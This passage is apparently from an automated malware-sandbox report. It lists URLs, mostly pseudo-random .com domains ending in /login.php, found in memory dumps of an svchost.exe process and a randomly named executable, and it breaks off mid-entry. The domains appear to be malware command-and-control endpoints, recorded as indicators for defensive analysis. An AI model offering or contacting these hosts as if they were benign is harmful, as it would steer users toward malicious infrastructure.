    Source: svchost.exe, 00000001.00000003.2111617403.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2856090650.0000000008AFC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2085425211.0000000008A0E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2149761878.0000000008B0C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2878663670.0000000008A01000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2146336174.0000000008AFC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1847975056.0000000008ADD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2122956933.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2858837562.0000000002F5B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2092799019.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1847917919.0000000008B0A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1842605109.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2149333396.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2863304297.0000000008ADD000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://gaqykab.com/login.php
    Source: svchost.exe, 00000001.00000003.1876534809.0000000008A13000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1876527279.0000000008A19000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2119699191.0000000002F95000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://gaqynyw.com/
    Source: svchost.exe, 00000001.00000003.1933696547.0000000002F54000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2161825875.0000000008A0E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1908265965.0000000002F5B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1914314721.000000000089E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1910077004.000000000089D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1914446841.00000000008A0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1908514523.0000000008B0B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2904700373.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2915487629.0000000008AAD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1914793466.0000000002F5B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2907916838.0000000002FBA000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://gaqypew.com/login.php
    Source: svchost.exe, 00000001.00000003.1788596948.0000000008A44000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2092208092.0000000002F95000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1779722435.0000000008A47000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2019446888.0000000002F97000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2804793756.0000000008A1E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1780489713.0000000008B07000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1833647424.0000000002F03000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2111161379.0000000002F8F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1779096011.0000000008A47000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1779501399.0000000008A47000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1781013100.0000000008B09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2027010088.0000000008A0D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1779124243.0000000008A47000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2020096225.0000000002F97000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2026975926.0000000002F9A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1779223947.0000000002F5B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2085422665.0000000002F8F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1779650272.0000000008A47000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2805839197.0000000008B07000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2017443520.0000000002F97000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2812953933.0000000008A3B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://gaqypiz.com/login.php
    Source: svchost.exe, 00000001.00000003.2176300458.0000000008B9F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://gaqyqez.com/http://purywyl.com/http://lysyxar.com/
    Source: svchost.exe, 00000001.00000003.1933696547.0000000002F54000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://gaqyqez.com/http://qebyhag.com/
    Source: svchost.exe, 00000001.00000003.1933898185.0000000008B09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1947510326.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2181582195.0000000008A1C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2180770258.0000000008A1E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2176325655.0000000008A3A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://gaqyqez.com/login.php
    Source: svchost.exe, 00000001.00000003.1894208080.0000000008A1C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2161825875.0000000008A0E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1895938775.0000000008A1C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2174605514.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1898499821.0000000008A1D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2154566378.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2143778963.0000000008A0A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2140072505.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1902620348.0000000008A3A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://gaqyvob.com/login.php
    Source: svchost.exe, 00000001.00000003.1933898185.0000000008B09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2163632600.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1914445852.0000000008B0D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2158637089.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1908514523.0000000008B0B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2907916838.0000000002FBA000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://gaqyzoh.com/login.php
    Source: svchost.exe, 00000001.00000003.1968630518.0000000008A1F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1968327079.0000000008AFC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2282417105.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2267072964.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2278879701.0000000008A0C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2291331219.0000000008A0A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2292428208.0000000008A0D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2287989020.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2276411177.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1967423631.0000000008A1E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2280547985.0000000002FBA000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2279226567.0000000008A0E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2290690746.0000000008A0A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1968394988.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1968883679.0000000008A3A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://gaqyzyb.com/login.php
    Source: svchost.exe, 00000001.00000003.1968630518.0000000008A1F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1967423631.0000000008A1E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://gatycis.com/
    Source: svchost.exe, 00000001.00000003.1933898185.0000000008B09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1914445852.0000000008B0D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2903357463.0000000008A1C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1906894619.000000000089B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1909044342.0000000008A3C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2158637089.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1908514523.0000000008B0B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2907916838.0000000002FBA000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://gatycyb.com/login.php
    Source: svchost.exe, 00000001.00000003.2789208581.0000000008A01000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1968630518.0000000008A1F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2878663670.0000000008A01000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1967423631.0000000008A1E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1972923642.0000000002FBA000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1968883679.0000000008A3A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://gatydab.com/login.php
    Source: svchost.exe, 00000001.00000003.2789208581.0000000008A01000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1695333905.00000000008A0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1980885296.0000000008A1C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1993091460.0000000008A1E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2878663670.0000000008A01000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2017172053.0000000002F53000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1993394339.0000000008A3A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2021153254.0000000002F53000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1984984329.0000000008A0C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1701072430.00000000008A0000.00000004.00000020.00020000.00000000.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000005.00000002.2313579209.0000000000C88000.00000004.00000020.00020000.00000000.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000005.00000002.2336765148.0000000008BA0000.00000004.00000001.00020000.00000000.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000005.00000002.2336765148.0000000008B64000.00000004.00000001.00020000.00000000.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000006.00000002.2281883733.00000000009B8000.00000004.00000020.00020000.00000000.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000006.00000002.2320960777.00000000087AB000.00000004.00000001.00020000.00000000.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 0000000D.00000002.2331052540.0000000008719000.00000004.00000001.00020000.00000000.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 0000000D.00000002.2336165323.00000000089AD000.00000004.00000010.00020000.00000000.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 0000000D.00000002.2298247060.00000000009C8000.00000004.00000020.00020000.00000000.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 0000000D.00000002.2331052540.00000000086FC000.00000004.00000001.00020000.00000000.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000015.00000002.2155078247.0000000008F50000.00000004.00000001.00020000.00000000.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 00000015.00000002.2148572373.0000000008C48000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: http://gatyfus.com/login.php
    Source: svchost.exe, 00000001.00000003.2119051522.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1876534809.0000000008A13000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2129829149.0000000008A0C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1876527279.0000000008A19000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2128042608.0000000008A0A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2878663670.0000000008A01000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1889657828.0000000002F5B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2119052914.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1879495668.0000000008A43000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1875834987.0000000008A47000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2889863215.00000000008A2000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://gatyhub.com/login.php
    Source: svchost.exe, 00000001.00000003.2119051522.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2129829149.0000000008A0C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1870478184.0000000008A20000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1872874383.0000000008A19000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2110034202.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2128042608.0000000008A0A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2105674590.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1874920180.0000000008A1D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1870487910.000000000089F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1870383629.0000000008A20000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1874582176.0000000002FB9000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1872943728.0000000008A14000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://gatykow.com/login.php
    Source: svchost.exe, 00000001.00000003.1950468360.0000000002F55000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1949257540.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2197387114.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1953376276.0000000008B0B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1956064229.0000000008B0B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1953280624.0000000008B0B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1949823209.0000000002F54000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1954960092.000000000089E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1954875956.0000000002F55000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1953269983.0000000008B09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1949367459.0000000008AF8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1954568937.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2188539510.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1952617861.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1954010171.0000000000899000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1950449319.0000000008AF8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1951299782.0000000008AF8000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://gatyniz.com/login.php
    Source: svchost.exe, 00000001.00000003.1944205960.0000000002F55000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1944285189.0000000008B0B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1944474921.0000000002F55000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1945476389.0000000002F0E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2180770258.0000000008A0A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1956144172.0000000002F0E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1946581985.0000000002FBB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1944143633.0000000008AFC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2178940663.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1954706377.0000000002F09000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://gatyqeb.com/login.php
    Source: svchost.exe, 00000001.00000003.1876534809.0000000008A13000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1891061151.0000000002F5B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1876527279.0000000008A19000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2119052914.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1879362125.0000000002F61000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2880372058.0000000008AFC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1877345460.0000000002F61000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://gatyqih.com/login.php
    Source: svchost.exe, 00000001.00000003.2111617403.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2119051522.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1878115025.0000000002F91000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2129829149.0000000008A0C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2110034202.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2128042608.0000000008A0A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2105674590.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1874825901.0000000008B0A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1873975330.0000000002F9B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1872932783.0000000002F99000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://gatyrez.com/login.php
    Source: svchost.exe, 00000001.00000003.1958857886.0000000008AFC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2258284449.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1958569924.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2264180640.0000000008A0C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1959780405.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1960150197.0000000002F53000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2261481994.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1959522129.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2264012098.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1962439893.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1960929560.0000000008AFE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2258260984.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2259557028.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1965539116.0000000008B0A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2261290738.0000000008AFC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1960318072.0000000008AFE000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://gatyveh.com/login.php
    Source: svchost.exe, 00000001.00000003.1693187181.0000000002F65000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2111617403.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1981174664.0000000008AF8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2761249013.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2020819128.0000000002F10000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2760203953.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2854734822.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1982247626.0000000008B06000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2909851006.0000000008BB7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2149761878.0000000008B0C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1687565535.0000000008A2D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2017172053.0000000002F53000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2770707489.0000000008AF8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2021153254.0000000002F53000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1687570808.0000000008A2F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2146336174.0000000008AFC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1692993962.0000000002F65000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2122956933.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2092799019.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1978182310.0000000002FBA000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2149333396.0000000008B05000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://gatyvyz.com/login.php
    Source: svchost.exe, 00000001.00000003.1968630518.0000000008A1F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1968327079.0000000008AFC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2282417105.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2267072964.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2278879701.0000000008A0C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2291331219.0000000008A0A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2292428208.0000000008A0D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2287989020.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2276411177.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2279226567.0000000008A0E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2290690746.0000000008A0A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1968394988.0000000008B05000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1968883679.0000000008A3A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://lygyfej.com/login.php
    Source: svchost.exe, 00000001.00000003.1903825905.0000000002F5B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1933898185.0000000008B09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2161825875.0000000008A0E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1904740415.0000000008A1D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1905299063.0000000008A1D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1906646427.0000000008B0B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2154566378.0000000008A13000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1914445852.0000000008B0D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1906625484.0000000008A3A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1908265965.0000000002F5B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1909737612.0000000002F0F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1903806913.0000000008B0B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1904744278.0000000008A1B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2154566378.0000000008A09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1905612292.0000000008B09000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1908514523.0000000008B0B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1903904408.0000000008A1B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2154704130.0000000008A1D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1906683005.0000000002F0E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2157170272.0000000008A1E000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://lygyged.com/login.php
    Source: svchost.exe, 00000001.00000003.1693187181.0000000002F65000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1695333905.00000000008A0000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2023538220.0000000008A1D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1980885296.0000000008A1C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2856090650.0000000008AFC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1993091460.0000000008A1E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2770707489.0000000008ADD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1687565535.0000000008A2D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2811723462.0000000008ADD000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2770707489.0000000008AF8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1993394339.0000000008A3A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1687570808.0000000008A2F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1692993962.0000000002F65000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1984984329.0000000008A0C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2805839197.0000000008B07000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.1692942093.0000000002F65000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2019576714.0000000008A19000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000001.00000003.2778000948.0000000008B07000.00000004.00000020.00020000.00000000.sdmp, OCYLlGeNBSaNBJKonQXwvPUVfzuX.exe, 